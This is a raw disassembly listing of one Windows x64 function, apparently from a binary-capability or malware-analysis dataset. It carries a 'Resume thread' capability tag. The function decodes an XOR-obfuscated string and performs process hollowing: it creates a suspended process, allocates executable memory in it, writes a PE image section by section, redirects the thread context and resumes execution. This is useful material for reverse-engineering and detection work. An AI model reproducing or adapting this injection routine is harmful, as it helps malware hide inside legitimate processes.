Function at 0x140002050
Capabilities:
Resume thread

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xd78]
sub rsp, 0xe78
mov rax, qword [0x140024008]
xor rax, rsp
mov qword [rbp + 0xd60], rax
mov r15, r9
mov rdi, r8
mov qword [rsp + 0x50], r8
mov rsi, rdx
mov r14, rcx
xor edx, edx
mov r8d, 0x904
lea rcx, [rbp + 0x450]
call fcn.140008960
movdqa xmm0, xmmword [0x140020000]
mov dword [rbp + 0x440], 0x43c1c85a
mov dword [rbp + 0x444], 0xc543f60a
mov dword [rbp + 0x448], 0x1f968352
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x20c
mov eax, dword [rdx + rcx]
mov ebx, 0x210
add rbx, rcx
test al, 1
jne 0x14000214f
or eax, 1
mov dword [rdx + rcx], eax
mov byte [rbx + 0x1c], 1
lea rax, [rbx + 0x1b]
lea rcx, [rbp + 0x44b]
cmp rbx, rcx
ja 0x140002129
lea rcx, [rbp + 0x430]
cmp rax, rcx
jb 0x140002129
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x440]
movsd qword [rbx + 0x10], xmm0
mov eax, dword [rbp + 0x448]
mov dword [rbx + 0x18], eax
jmp 0x140002142
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x440]
movsd qword [rbx + 0x10], xmm0
mov eax, dword [rbp + 0x448]
mov dword [rbx + 0x18], eax
lea rcx, [0x140016fe0]
call fcn.1400067a0
nop
cmp byte [rbx + 0x1c], 0
je 0x1400021c8
xor byte [rbx], 0x37
xor byte [rbx + 1], 0xfb
xor byte [rbx + 2], 0xf3
xor byte [rbx + 3], 0x1f
xor byte [rbx + 4], 0x69
xor byte [rbx + 5], 0x9b
xor byte [rbx + 6], 0x27
xor byte [rbx + 7], 0xeb
xor byte [rbx + 8], 0x37
xor byte [rbx + 9], 0xfb
xor byte [rbx + 0xa], 0xf3
xor byte [rbx + 0xb], 0x1f
xor byte [rbx + 0xc], 0x69
xor byte [rbx + 0xd], 0x9b
xor byte [rbx + 0xe], 0x27
xor byte [rbx + 0xf], 0xeb
xor byte [rbx + 0x10], 0x37
xor byte [rbx + 0x11], 0xfb
xor byte [rbx + 0x12], 0xf3
xor byte [rbx + 0x13], 0x1f
xor byte [rbx + 0x14], 0x69
xor byte [rbx + 0x15], 0x9b
xor byte [rbx + 0x16], 0x27
xor byte [rbx + 0x17], 0xeb
xor byte [rbx + 0x18], 0x37
xor byte [rbx + 0x19], 0xfb
xor byte [rbx + 0x1a], 0xf3
xor byte [rbx + 0x1b], 0x1f
mov byte [rbx + 0x1c], 0
lea rdx, [0x14001fb70]
mov rcx, qword [0x140026858]
call fcn.140004000
mov rdx, rbx
lea rcx, [rbp + 0x450]
call rax
lea rdx, [0x14001fb70]
mov rcx, qword [0x140026858]
call fcn.140004000
lea rdx, [0x14001fb7c]
lea rcx, [rbp + 0x450]
call rax
lea rdx, [0x14001fb70]
mov rcx, qword [0x140026858]
call fcn.140004000
mov rdx, r15
lea rcx, [rbp + 0x450]
call rax
movsxd r13, dword [rdi + 0x3c]
add r13, rdi
cmp dword [r13], 0x4550
jne 0x1400022e4
lea rdx, str.CreateProcessA
mov rcx, qword [0x140026858]
call fcn.140004000
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], rsi
xor edi, edi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x450]
xor ecx, ecx
call rax
test eax, eax
je 0x1400022e4
xor edx, edx
mov r8d, 0x4d0
lea rcx, [rsp + 0x60]
call fcn.140008960
mov dword [rbp - 0x70], 0x10000b
lea rdx, str.GetThreadContext
mov rcx, qword [0x140026858]
call fcn.140004000
lea rdx, [rsp + 0x60]
mov rcx, qword [r14 + 8]
call rax
mov rcx, qword [0x140026858]
test eax, eax
jne 0x140002309
lea rdx, [0x14001fba8]
call fcn.140004000
mov edx, 0xfffffffc
mov rcx, qword [r14]
call rax
xor eax, eax
mov rcx, qword [rbp + 0xd60]
xor rcx, rsp
call fcn.140006600
add rsp, 0xe78
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ebx, dword [r13 + 0x50]
lea rdx, str.VirtualAllocEx
call fcn.140004000
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, ebx
mov rdx, qword [r13 + 0x30]
mov rcx, qword [r14]
call rax
mov qword [rsp + 0x58], rax
mov rcx, qword [0x140026858]
test rax, rax
jne 0x140002357
lea rdx, [0x14001fba8]
call fcn.140004000
mov edx, 0xfffffffb
jmp 0x1400022df
mov ebx, dword [r13 + 0x54]
lea rdx, str.WriteProcessMemory
call fcn.140004000
mov qword [rsp + 0x20], rdi
mov r9d, ebx
mov rbx, qword [rsp + 0x50]
mov r8, rbx
mov rdx, qword [rsp + 0x58]
mov rcx, qword [r14]
call rax
test eax, eax
jne 0x1400023a2
lea rdx, [0x14001fba8]
mov rcx, qword [0x140026858]
call fcn.140004000
mov edx, 0xfffffffa
jmp 0x1400022df
mov r15, rdi
cmp di, word [r13 + 6]
jae 0x14000241d
mov r12, rdi
nop
movsxd rax, dword [rbx + 0x3c]
add rax, rbx
mov edi, dword [rax + r12 + 0x118]
mov esi, dword [rax + r12 + 0x11c]
add rsi, rbx
mov ebx, dword [rax + r12 + 0x114]
add rbx, qword [rsp + 0x58]
lea rdx, str.WriteProcessMemory
mov rcx, qword [0x140026858]
call fcn.140004000
mov qword [rsp + 0x20], 0
mov r9d, edi
mov r8, rsi
mov rdx, rbx
mov rcx, qword [r14]
call rax
test eax, eax
je 0x14000246e
inc r15
add r12, 0x28
movzx eax, word [r13 + 6]
cmp r15, rax
mov rbx, qword [rsp + 0x50]
jb 0x1400023b0
xor edi, edi
mov rbx, qword [rbp - 0x18]
lea rdx, str.WriteProcessMemory
mov rcx, qword [0x140026858]
call fcn.140004000
mov qword [rsp + 0x20], rdi
mov r9d, 8
lea r8, [rsp + 0x58]
lea rdx, [rbx + 0x10]
mov rcx, qword [r14]
call rax
mov rcx, qword [0x140026858]
test eax, eax
jne 0x14000248b
lea rdx, [0x14001fba8]
call fcn.140004000
mov edx, 0xfffffff8
jmp 0x1400022df
lea rdx, [0x14001fba8]
mov rcx, qword [0x140026858]
call fcn.140004000
mov edx, 0xfffffff9
jmp 0x1400022df
mov eax, dword [r13 + 0x28]
add rax, qword [rsp + 0x58]
mov qword [rbp - 0x20], rax
lea rdx, str.SetThreadContext
call fcn.140004000
lea rdx, [rsp + 0x60]
mov rcx, qword [r14 + 8]
call rax
test eax, eax
jne 0x1400024d0
lea rdx, [0x14001fba8]
mov rcx, qword [0x140026858]
call fcn.140004000
mov edx, 0xfffffff7
jmp 0x1400022df
mov rcx, qword [r14 + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
jne 0x1400024fb
lea rdx, [0x14001fba8]
mov rcx, qword [0x140026858]
call fcn.140004000
mov edx, 0xfffffff6
jmp 0x1400022df
mov eax, 1
jmp 0x1400022e6